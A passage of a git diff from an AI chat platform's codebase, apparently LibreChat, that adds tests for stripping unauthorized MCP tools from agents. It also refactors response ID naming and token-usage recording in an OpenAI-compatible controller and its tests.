+ getAllServerConfigs: mockGetAllServerConfigs,
+ }));
+ mockGetAllServerConfigs.mockResolvedValue({
+ authorizedServer: { type: 'sse', url: 'https://authorized.example.com' },
+ anotherServer: { type: 'sse', url: 'https://another.example.com' },
+ });
+
+ mockReq = {
+ user: {
+ id: new mongoose.Types.ObjectId().toString(),
+ role: 'USER',
+ },
+ body: {},
+ params: {},
+ query: {},
+ app: { locals: { fileStrategy: 'local' } },
+ };
+
+ mockRes = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ };
+ });
+
+ describe('filterAuthorizedTools', () => {
+ const availableTools = { web_search: true, custom_tool: true };
+ const userId = 'test-user-123';
+
+ test('should keep authorized MCP tools and strip unauthorized ones', async () => {
+ const result = await filterAuthorizedTools({
+ tools: [`toolA${d}authorizedServer`, `toolB${d}forbiddenServer`, 'web_search'],
+ userId,
+ availableTools,
+ });
+
+ expect(result).toContain(`toolA${d}authorizedServer`);
+ expect(result).toContain('web_search');
+ expect(result).not.toContain(`toolB${d}forbiddenServer`);
+ });
+
+ test('should keep system tools without querying MCP registry', async () => {
+ const result = await filterAuthorizedTools({
+ tools: ['execute_code', 'file_search', 'web_search'],
+ userId,
+ availableTools: {},
+ });
+
+ expect(result).toEqual(['execute_code', 'file_search', 'web_search']);
+ expect(mockGetAllServerConfigs).not.toHaveBeenCalled();
+ });
+
+ test('should not query MCP registry when no MCP tools are present', async () => {
+ const result = await filterAuthorizedTools({
+ tools: ['web_search', 'custom_tool'],
+ userId,
+ availableTools,
+ });
+
+ expect(result).toEqual(['web_search', 'custom_tool']);
+ expect(mockGetAllServerConfigs).not.toHaveBeenCalled();
+ });
+
+ test('should filter all MCP tools when registry is uninitialized', async () => {
+ getMCPServersRegistry.mockImplementation(() => {
+ throw new Error('MCPServersRegistry has not been initialized.');
+ });
+
+ const result = await filterAuthorizedTools({
+ tools: [`toolA${d}someServer`, 'web_search'],
+ userId,
+ availableTools,
+ });
+
+ expect(result).toEqual(['web_search']);
+ expect(result).not.toContain(`toolA${d}someServer`);
+ });
+
+ test('should handle mixed authorized and unauthorized MCP tools', async () => {
+ const result = await filterAuthorizedTools({
+ tools: [
+ 'web_search',
+ `search${d}authorizedServer`,
+ `attack${d}victimServer`,
+ 'execute_code',
+ `list${d}anotherServer`,
+ `steal${d}nonexistent`,
+ ],
+ userId,
+ availableTools,
+ });
+
+ expect(result).toEqual([
+ 'web_search',
+ `search${d}authorizedServer`,
+ 'execute_code',
+ `list${d}anotherServer`,
+ ]);
+ });
+
+ test('should handle empty tools array', async () => {
+ const result = await filterAuthorizedTools({
+ tools: [],
+ userId,
+ availableTools,
+ });
+
+ expect(result).toEqual([]);
+ expect(mockGetAllServerConfigs).not.toHaveBeenCalled();
+ });
+
+ test('should handle null/undefined tool entries gracefully', async () => {
+ const result = await filterAuthorizedTools({
+ tools: [null, undefined, '', 'web_search'],
+ userId,
+ availableTools,
+ });
+
+ expect(result).toEqual(['web_search']);
+ });
+
+ test('should call getAllServerConfigs with the correct userId', async () => {
+ await filterAuthorizedTools({
+ tools: [`tool${d}authorizedServer`],
+ userId: 'specific-user-id',
+ availableTools,
+ });
+
+ expect(mockGetAllServerConfigs).toHaveBeenCalledWith('specific-user-id');
+ });
+
+ test('should only call getAllServerConfigs once even with multiple MCP tools', async () => {
+ await filterAuthorizedTools({
+ tools: [`tool1${d}authorizedServer`, `tool2${d}anotherServer`, `tool3${d}unknownServer`],
+ userId,
+ availableTools,
+ });
+
+ expect(mockGetAllServerConfigs).toHaveBeenCalledTimes(1);
+ });
+
+ test('should preserve existing MCP tools when registry is unavailable', async () => {
+ getMCPServersRegistry.mockImplementation(() => {
+ throw new Error('MCPServersRegistry has not been initialized.');
+ });
+
+ const existingTools = [`toolA${d}serverA`, `toolB${d}serverB`];
+
+ const result = await filterAuthorizedTools({
+ tools: [...existingTools, `newTool${d}unknownServer`, 'web_search'],
+ userId,
+ availableTools,
+ existingTools,
+ });
+
+ expect(result).toContain(`toolA${d}serverA`);
+ expect(result).toContain(`toolB${d}serverB`);
+ expect(result).toContain('web_search');
+ expect(result).not.toContain(`newTool${d}unknownServer`);
+ });
+
+ test('should still reject all MCP tools when registry is unavailable and no existingTools', async () => {
+ getMCPServersRegistry.mockImplementation(() => {
+ throw new Error('MCPServersRegistry has not been initialized.');
+ });
+
+ const result = await filterAuthorizedTools({
+ tools: [`toolA${d}serverA`, 'web_search'],
+ userId,
+ availableTools,
+ });
+
+ expect(result).toEqual(['web_search']);
+ });
+
+ test('should not preserve malformed existing tools when registry is unavailable', async () => {
+ getMCPServersRegistry.mockImplementation(() => {
+ throw new Error('MCPServersRegistry has not been initialized.');
+ });
+
+ const malformedTool = `a${d}b${d}c`;
+ const result = await filterAuthorizedTools({
+ tools: [malformedTool, `legit${d}serverA`, 'web_search'],
+ userId,
+ availableTools,
+ existingTools: [malformedTool, `legit${d}serverA`],
+ });
+
+ expect(result).toContain(`legit${d}serverA`);
+ expect(result).toContain('web_search');
+ expect(result).not.toContain(malformedTool);
+ });
+
+ test('should reject malformed MCP tool keys with multiple delimiters', async () => {
+ const result = await filterAuthorizedTools({
+ tools: [
+ `attack${d}victimServer${d}authorizedServer`,
+ `legit${d}authorizedServer`,
+ `a${d}b${d}c${d}d`,
+ 'web_search',
+ ],
+ userId,
+ availableTools,
+ });
+
+ expect(result).toEqual([`legit${d}authorizedServer`, 'web_search']);
+ expect(result).not.toContainEqual(expect.stringContaining('victimServer'));
+ expect(result).not.toContainEqual(expect.stringContaining(`a${d}b`));
+ });
+ });
+
+ describe('createAgentHandler - MCP tool authorization', () => {
+ test('should strip unauthorized MCP tools on create', async () => {
+ mockReq.body = {
+ provider: 'openai',
+ model: 'gpt-4',
+ name: 'MCP Test Agent',
+ tools: ['web_search', `validTool${d}authorizedServer`, `attack${d}forbiddenServer`],
+ };
+
+ await createAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(201);
+ const agent = mockRes.json.mock.calls[0][0];
+ expect(agent.tools).toContain('web_search');
+ expect(agent.tools).toContain(`validTool${d}authorizedServer`);
+ expect(agent.tools).not.toContain(`attack${d}forbiddenServer`);
+ });
+
+ test('should not 500 when MCP registry is uninitialized', async () => {
+ getMCPServersRegistry.mockImplementation(() => {
+ throw new Error('MCPServersRegistry has not been initialized.');
+ });
+
+ mockReq.body = {
+ provider: 'openai',
+ model: 'gpt-4',
+ name: 'MCP Uninitialized Test',
+ tools: [`tool${d}someServer`, 'web_search'],
+ };
+
+ await createAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(201);
+ const agent = mockRes.json.mock.calls[0][0];
+ expect(agent.tools).toEqual(['web_search']);
+ });
+
+ test('should store mcpServerNames only for authorized servers', async () => {
+ mockReq.body = {
+ provider: 'openai',
+ model: 'gpt-4',
+ name: 'MCP Names Test',
+ tools: [`toolA${d}authorizedServer`, `toolB${d}forbiddenServer`],
+ };
+
+ await createAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(201);
+ const agent = mockRes.json.mock.calls[0][0];
+ const agentInDb = await Agent.findOne({ id: agent.id });
+ expect(agentInDb.mcpServerNames).toContain('authorizedServer');
+ expect(agentInDb.mcpServerNames).not.toContain('forbiddenServer');
+ });
+ });
+
+ describe('updateAgentHandler - MCP tool authorization', () => {
+ let existingAgentId;
+ let existingAgentAuthorId;
+
+ beforeEach(async () => {
+ existingAgentAuthorId = new mongoose.Types.ObjectId();
+ const agent = await Agent.create({
+ id: `agent_${uuidv4()}`,
+ name: 'Original Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: existingAgentAuthorId,
+ tools: ['web_search', `existingTool${d}authorizedServer`],
+ mcpServerNames: ['authorizedServer'],
+ versions: [
+ {
+ name: 'Original Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: ['web_search', `existingTool${d}authorizedServer`],
+ createdAt: new Date(),
+ updatedAt: new Date(),
+ },
+ ],
+ });
+ existingAgentId = agent.id;
+ });
+
+ test('should preserve existing MCP tools even if editor lacks access', async () => {
+ mockGetAllServerConfigs.mockResolvedValue({});
+
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = {
+ tools: ['web_search', `existingTool${d}authorizedServer`],
+ };
+
+ await updateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.json).toHaveBeenCalled();
+ const updatedAgent = mockRes.json.mock.calls[0][0];
+ expect(updatedAgent.tools).toContain(`existingTool${d}authorizedServer`);
+ expect(updatedAgent.tools).toContain('web_search');
+ });
+
+ test('should reject newly added unauthorized MCP tools', async () => {
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = {
+ tools: ['web_search', `existingTool${d}authorizedServer`, `attack${d}forbiddenServer`],
+ };
+
+ await updateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.json).toHaveBeenCalled();
+ const updatedAgent = mockRes.json.mock.calls[0][0];
+ expect(updatedAgent.tools).toContain('web_search');
+ expect(updatedAgent.tools).toContain(`existingTool${d}authorizedServer`);
+ expect(updatedAgent.tools).not.toContain(`attack${d}forbiddenServer`);
+ });
+
+ test('should allow adding authorized MCP tools', async () => {
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = {
+ tools: ['web_search', `existingTool${d}authorizedServer`, `newTool${d}anotherServer`],
+ };
+
+ await updateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.json).toHaveBeenCalled();
+ const updatedAgent = mockRes.json.mock.calls[0][0];
+ expect(updatedAgent.tools).toContain(`newTool${d}anotherServer`);
+ });
+
+ test('should not query MCP registry when no new MCP tools added', async () => {
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = {
+ tools: ['web_search', `existingTool${d}authorizedServer`],
+ };
+
+ await updateAgentHandler(mockReq, mockRes);
+
+ expect(mockGetAllServerConfigs).not.toHaveBeenCalled();
+ });
+
+ test('should preserve existing MCP tools when registry unavailable and user edits agent', async () => {
+ getMCPServersRegistry.mockImplementation(() => {
+ throw new Error('MCPServersRegistry has not been initialized.');
+ });
+
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = {
+ name: 'Renamed After Restart',
+ tools: ['web_search', `existingTool${d}authorizedServer`],
+ };
+
+ await updateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.json).toHaveBeenCalled();
+ const updatedAgent = mockRes.json.mock.calls[0][0];
+ expect(updatedAgent.tools).toContain(`existingTool${d}authorizedServer`);
+ expect(updatedAgent.tools).toContain('web_search');
+ expect(updatedAgent.name).toBe('Renamed After Restart');
+ });
+
+ test('should preserve existing MCP tools when server not in configs (disconnected)', async () => {
+ mockGetAllServerConfigs.mockResolvedValue({});
+
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = {
+ name: 'Edited While Disconnected',
+ tools: ['web_search', `existingTool${d}authorizedServer`],
+ };
+
+ await updateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.json).toHaveBeenCalled();
+ const updatedAgent = mockRes.json.mock.calls[0][0];
+ expect(updatedAgent.tools).toContain(`existingTool${d}authorizedServer`);
+ expect(updatedAgent.name).toBe('Edited While Disconnected');
+ });
+ });
+
+ describe('duplicateAgentHandler - MCP tool authorization', () => {
+ let sourceAgentId;
+ let sourceAgentAuthorId;
+
+ beforeEach(async () => {
+ sourceAgentAuthorId = new mongoose.Types.ObjectId();
+ const agent = await Agent.create({
+ id: `agent_${uuidv4()}`,
+ name: 'Source Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: sourceAgentAuthorId,
+ tools: ['web_search', `tool${d}authorizedServer`, `tool${d}forbiddenServer`],
+ mcpServerNames: ['authorizedServer', 'forbiddenServer'],
+ versions: [
+ {
+ name: 'Source Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: ['web_search', `tool${d}authorizedServer`, `tool${d}forbiddenServer`],
+ createdAt: new Date(),
+ updatedAt: new Date(),
+ },
+ ],
+ });
+ sourceAgentId = agent.id;
+ });
+
+ test('should strip unauthorized MCP tools from duplicated agent', async () => {
+ mockGetAllServerConfigs.mockResolvedValue({
+ authorizedServer: { type: 'sse' },
+ });
+
+ mockReq.user.id = sourceAgentAuthorId.toString();
+ mockReq.params.id = sourceAgentId;
+
+ await duplicateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(201);
+ const { agent: newAgent } = mockRes.json.mock.calls[0][0];
+ expect(newAgent.id).not.toBe(sourceAgentId);
+ expect(newAgent.tools).toContain('web_search');
+ expect(newAgent.tools).toContain(`tool${d}authorizedServer`);
+ expect(newAgent.tools).not.toContain(`tool${d}forbiddenServer`);
+
+ const agentInDb = await Agent.findOne({ id: newAgent.id });
+ expect(agentInDb.mcpServerNames).toContain('authorizedServer');
+ expect(agentInDb.mcpServerNames).not.toContain('forbiddenServer');
+ });
+
+ test('should preserve source agent MCP tools when registry is unavailable', async () => {
+ getMCPServersRegistry.mockImplementation(() => {
+ throw new Error('MCPServersRegistry has not been initialized.');
+ });
+
+ mockReq.user.id = sourceAgentAuthorId.toString();
+ mockReq.params.id = sourceAgentId;
+
+ await duplicateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(201);
+ const { agent: newAgent } = mockRes.json.mock.calls[0][0];
+ expect(newAgent.tools).toContain('web_search');
+ expect(newAgent.tools).toContain(`tool${d}authorizedServer`);
+ expect(newAgent.tools).toContain(`tool${d}forbiddenServer`);
+ });
+ });
+
+ describe('revertAgentVersionHandler - MCP tool authorization', () => {
+ let existingAgentId;
+ let existingAgentAuthorId;
+
+ beforeEach(async () => {
+ existingAgentAuthorId = new mongoose.Types.ObjectId();
+ const agent = await Agent.create({
+ id: `agent_${uuidv4()}`,
+ name: 'Reverted Agent V2',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: existingAgentAuthorId,
+ tools: ['web_search'],
+ versions: [
+ {
+ name: 'Reverted Agent V1',
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: ['web_search', `oldTool${d}revokedServer`],
+ createdAt: new Date(Date.now() - 10000),
+ updatedAt: new Date(Date.now() - 10000),
+ },
+ {
+ name: 'Reverted Agent V2',
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: ['web_search'],
+ createdAt: new Date(),
+ updatedAt: new Date(),
+ },
+ ],
+ });
+ existingAgentId = agent.id;
+ });
+
+ test('should strip unauthorized MCP tools after reverting to a previous version', async () => {
+ mockGetAllServerConfigs.mockResolvedValue({
+ authorizedServer: { type: 'sse' },
+ });
+
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = { version_index: 0 };
+
+ await revertAgentVersionHandler(mockReq, mockRes);
+
+ expect(mockRes.json).toHaveBeenCalled();
+ const result = mockRes.json.mock.calls[0][0];
+ expect(result.tools).toContain('web_search');
+ expect(result.tools).not.toContain(`oldTool${d}revokedServer`);
+
+ const agentInDb = await Agent.findOne({ id: existingAgentId });
+ expect(agentInDb.tools).toContain('web_search');
+ expect(agentInDb.tools).not.toContain(`oldTool${d}revokedServer`);
+ });
+
+ test('should keep authorized MCP tools after revert', async () => {
+ await Agent.updateOne(
+ { id: existingAgentId },
+ { $set: { 'versions.0.tools': ['web_search', `tool${d}authorizedServer`] } },
+ );
+
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = { version_index: 0 };
+
+ await revertAgentVersionHandler(mockReq, mockRes);
+
+ expect(mockRes.json).toHaveBeenCalled();
+ const result = mockRes.json.mock.calls[0][0];
+ expect(result.tools).toContain('web_search');
+ expect(result.tools).toContain(`tool${d}authorizedServer`);
+ });
+
+ test('should preserve version MCP tools when registry is unavailable on revert', async () => {
+ await Agent.updateOne(
+ { id: existingAgentId },
+ {
+ $set: {
+ 'versions.0.tools': [
+ 'web_search',
+ `validTool${d}authorizedServer`,
+ `otherTool${d}anotherServer`,
+ ],
+ },
+ },
+ );
+
+ getMCPServersRegistry.mockImplementation(() => {
+ throw new Error('MCPServersRegistry has not been initialized.');
+ });
+
+ mockReq.user.id = existingAgentAuthorId.toString();
+ mockReq.params.id = existingAgentId;
+ mockReq.body = { version_index: 0 };
+
+ await revertAgentVersionHandler(mockReq, mockRes);
+
+ expect(mockRes.json).toHaveBeenCalled();
+ const result = mockRes.json.mock.calls[0][0];
+ expect(result.tools).toContain('web_search');
+ expect(result.tools).toContain(`validTool${d}authorizedServer`);
+ expect(result.tools).toContain(`otherTool${d}anotherServer`);
+
+ const agentInDb = await Agent.findOne({ id: existingAgentId });
+ expect(agentInDb.tools).toContain(`validTool${d}authorizedServer`);
+ expect(agentInDb.tools).toContain(`otherTool${d}anotherServer`);
+ });
+ });
+});
diff --git a/api/server/controllers/agents/openai.js b/api/server/controllers/agents/openai.js
index b334580eb1..bab81f1535 100644
--- a/api/server/controllers/agents/openai.js
+++ b/api/server/controllers/agents/openai.js
@@ -25,6 +25,7 @@ const { loadAgentTools, loadToolsForExecution } = require('~/server/services/Too
const { createToolEndCallback } = require('~/server/controllers/agents/callbacks');
const { findAccessibleResources } = require('~/server/services/PermissionService');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const { getConvoFiles } = require('~/models/Conversation');
const { getAgent, getAgents } = require('~/models/Agent');
const db = require('~/models');
@@ -129,7 +130,6 @@ const OpenAIChatCompletionController = async (req, res) => {
const appConfig = req.config;
const requestStartTime = Date.now();
- // Validate request
const validation = validateRequest(req.body);
if (isChatCompletionValidationFailure(validation)) {
return sendErrorResponse(res, 400, validation.error);
@@ -150,20 +150,20 @@ const OpenAIChatCompletionController = async (req, res) => {
);
}
- // Generate IDs
- const requestId = `chatcmpl-${nanoid()}`;
+ const responseId = `chatcmpl-${nanoid()}`;
const conversationId = request.conversation_id ?? nanoid();
const parentMessageId = request.parent_message_id ?? null;
const created = Math.floor(Date.now() / 1000);
+ /** @type {import('@librechat/api').OpenAIResponseContext} — key must be `requestId` to match the type used by createChunk/buildNonStreamingResponse */
const context = {
created,
- requestId,
+ requestId: responseId,
model: agentId,
};
logger.debug(
- `[OpenAI API] Request ${requestId} started for agent ${agentId}, stream: ${request.stream}`,
+ `[OpenAI API] Response ${responseId} started for agent ${agentId}, stream: ${request.stream}`,
);
// Set up abort controller
@@ -265,6 +265,7 @@ const OpenAIChatCompletionController = async (req, res) => {
toolRegistry: primaryConfig.toolRegistry,
userMCPAuthMap: primaryConfig.userMCPAuthMap,
tool_resources: primaryConfig.tool_resources,
+ actionsEnabled: primaryConfig.actionsEnabled,
});
},
toolEndCallback,
@@ -450,11 +451,11 @@ const OpenAIChatCompletionController = async (req, res) => {
agents: [primaryConfig],
messages: formattedMessages,
indexTokenCountMap,
- runId: requestId,
+ runId: responseId,
signal: abortController.signal,
customHandlers: handlers,
requestBody: {
- messageId: requestId,
+ messageId: responseId,
conversationId,
},
user: { id: userId },
@@ -471,6 +472,10 @@ const OpenAIChatCompletionController = async (req, res) => {
thread_id: conversationId,
user_id: userId,
user: createSafeUser(req.user),
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
...(userMCPAuthMap != null && { userMCPAuthMap }),
},
signal: abortController.signal,
@@ -490,12 +495,18 @@ const OpenAIChatCompletionController = async (req, res) => {
const balanceConfig = getBalanceConfig(appConfig);
const transactionsConfig = getTransactionsConfig(appConfig);
recordCollectedUsage(
- { spendTokens, spendStructuredTokens },
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+ },
{
user: userId,
conversationId,
collectedUsage,
context: 'message',
+ messageId: responseId,
balance: balanceConfig,
transactions: transactionsConfig,
model: primaryConfig.model || agent.model_parameters?.model,
@@ -509,7 +520,7 @@ const OpenAIChatCompletionController = async (req, res) => {
if (isStreaming) {
sendFinalChunk(handlerConfig);
res.end();
- logger.debug(`[OpenAI API] Request ${requestId} completed in ${duration}ms (streaming)`);
+ logger.debug(`[OpenAI API] Response ${responseId} completed in ${duration}ms (streaming)`);
// Wait for artifact processing after response ends (non-blocking)
if (artifactPromises.length > 0) {
@@ -548,7 +559,9 @@ const OpenAIChatCompletionController = async (req, res) => {
usage,
);
res.json(response);
- logger.debug(`[OpenAI API] Request ${requestId} completed in ${duration}ms (non-streaming)`);
+ logger.debug(
+ `[OpenAI API] Response ${responseId} completed in ${duration}ms (non-streaming)`,
+ );
}
} catch (error) {
const errorMessage = error instanceof Error ? error.message : 'An error occurred';
diff --git a/api/server/controllers/agents/recordCollectedUsage.spec.js b/api/server/controllers/agents/recordCollectedUsage.spec.js
index 6904f2ed39..21720023ca 100644
--- a/api/server/controllers/agents/recordCollectedUsage.spec.js
+++ b/api/server/controllers/agents/recordCollectedUsage.spec.js
@@ -2,23 +2,37 @@
* Tests for AgentClient.recordCollectedUsage
*
* This is a critical function that handles token spending for agent LLM calls.
- * It must correctly handle:
- * - Sequential execution (single agent with tool calls)
- * - Parallel execution (multiple agents with independent inputs)
- * - Cache token handling (OpenAI and Anthropic formats)
+ * The client now delegates to the TS recordCollectedUsage from @librechat/api,
+ * passing pricing and bulkWriteOps deps.
*/
const { EModelEndpoint } = require('librechat-data-provider');
-// Mock dependencies before requiring the module
const mockSpendTokens = jest.fn().mockResolvedValue();
const mockSpendStructuredTokens = jest.fn().mockResolvedValue();
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
+const mockRecordCollectedUsage = jest
+ .fn()
+ .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
jest.mock('~/models/spendTokens', () => ({
spendTokens: (...args) => mockSpendTokens(...args),
spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args),
}));
+jest.mock('~/models/tx', () => ({
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
+jest.mock('~/models', () => ({
+ updateBalance: mockUpdateBalance,
+ bulkInsertTransactions: mockBulkInsertTransactions,
+}));
+
jest.mock('~/config', () => ({
logger: {
debug: jest.fn(),
@@ -39,6 +53,14 @@ jest.mock('@librechat/agents', () => ({
}),
}));
+jest.mock('@librechat/api', () => {
+ const actual = jest.requireActual('@librechat/api');
+ return {
+ ...actual,
+ recordCollectedUsage: (...args) => mockRecordCollectedUsage(...args),
+ };
+});
+
const AgentClient = require('./client');
describe('AgentClient - recordCollectedUsage', () => {
@@ -74,31 +96,66 @@ describe('AgentClient - recordCollectedUsage', () => {
});
describe('basic functionality', () => {
- it('should return early if collectedUsage is empty', async () => {
+ it('should delegate to recordCollectedUsage with full deps', async () => {
+ const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ const [deps, params] = mockRecordCollectedUsage.mock.calls[0];
+
+ expect(deps).toHaveProperty('spendTokens');
+ expect(deps).toHaveProperty('spendStructuredTokens');
+ expect(deps).toHaveProperty('pricing');
+ expect(deps.pricing).toHaveProperty('getMultiplier');
+ expect(deps.pricing).toHaveProperty('getCacheMultiplier');
+ expect(deps).toHaveProperty('bulkWriteOps');
+ expect(deps.bulkWriteOps).toHaveProperty('insertMany');
+ expect(deps.bulkWriteOps).toHaveProperty('updateBalance');
+
+ expect(params).toEqual(
+ expect.objectContaining({
+ user: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ }),
+ );
+ });
+
+ it('should not set this.usage if collectedUsage is empty (returns undefined)', async () => {
+ mockRecordCollectedUsage.mockResolvedValue(undefined);
+
await client.recordCollectedUsage({
collectedUsage: [],
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
expect(client.usage).toBeUndefined();
});
- it('should return early if collectedUsage is null', async () => {
+ it('should not set this.usage if collectedUsage is null (returns undefined)', async () => {
+ mockRecordCollectedUsage.mockResolvedValue(undefined);
+
await client.recordCollectedUsage({
collectedUsage: null,
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockSpendTokens).not.toHaveBeenCalled();
expect(client.usage).toBeUndefined();
});
- it('should handle single usage entry correctly', async () => {
- const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
+ it('should set this.usage from recordCollectedUsage result', async () => {
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 75 });
+ const collectedUsage = [{ input_tokens: 200, output_tokens: 75, model: 'gpt-4' }];
await client.recordCollectedUsage({
collectedUsage,
@@ -106,521 +163,122 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({
- conversationId: 'convo-123',
- user: 'user-123',
- model: 'gpt-4',
- }),
- { promptTokens: 100, completionTokens: 50 },
- );
- expect(client.usage.input_tokens).toBe(100);
- expect(client.usage.output_tokens).toBe(50);
- });
-
- it('should skip null entries in collectedUsage', async () => {
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- null,
- { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+ expect(client.usage).toEqual({ input_tokens: 200, output_tokens: 75 });
});
});
describe('sequential execution (single agent with tool calls)', () => {
- it('should calculate tokens correctly for sequential tool calls', async () => {
- // Sequential flow: output of call N becomes part of input for call N+1
- // Call 1: input=100, output=50
- // Call 2: input=150 (100+50), output=30
- // Call 3: input=180 (150+30), output=20
+ it('should pass all usage entries to recordCollectedUsage', async () => {
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 150, output_tokens: 30, model: 'gpt-4' },
{ input_tokens: 180, output_tokens: 20, model: 'gpt-4' },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 100 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(3);
- // Total output should be sum of all output_tokens: 50 + 30 + 20 = 100
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ const [, params] = mockRecordCollectedUsage.mock.calls[0];
+ expect(params.collectedUsage).toHaveLength(3);
expect(client.usage.output_tokens).toBe(100);
- expect(client.usage.input_tokens).toBe(100); // First entry's input
+ expect(client.usage.input_tokens).toBe(100);
});
});
describe('parallel execution (multiple agents)', () => {
- it('should handle parallel agents with independent input tokens', async () => {
- // Parallel agents have INDEPENDENT input tokens (not cumulative)
- // Agent A: input=100, output=50
- // Agent B: input=80, output=40 (different context, not 100+50)
+ it('should pass parallel agent usage to recordCollectedUsage', async () => {
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'gpt-4' },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 90 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
- // Expected total output: 50 + 40 = 90
- // output_tokens must be positive and should reflect total output
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(client.usage.output_tokens).toBe(90);
expect(client.usage.output_tokens).toBeGreaterThan(0);
});
- it('should NOT produce negative output_tokens for parallel execution', async () => {
- // Critical bug scenario: parallel agents where second agent has LOWER input tokens
+ /** Bug regression: parallel agents where second agent has LOWER input tokens produced negative output via incremental calculation. */
+ it('should NOT produce negative output_tokens', async () => {
const collectedUsage = [
{ input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
{ input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- // output_tokens MUST be positive for proper token tracking
expect(client.usage.output_tokens).toBeGreaterThan(0);
- // Correct value should be 100 + 30 = 130
- });
-
- it('should calculate correct total output for parallel agents', async () => {
- // Three parallel agents with independent contexts
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- { input_tokens: 120, output_tokens: 60, model: 'gpt-4-turbo' },
- { input_tokens: 80, output_tokens: 40, model: 'claude-3' },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(3);
- // Total output should be 50 + 60 + 40 = 150
- expect(client.usage.output_tokens).toBe(150);
- });
-
- it('should handle worst-case parallel scenario without negative tokens', async () => {
- // Extreme case: first agent has very high input, subsequent have low
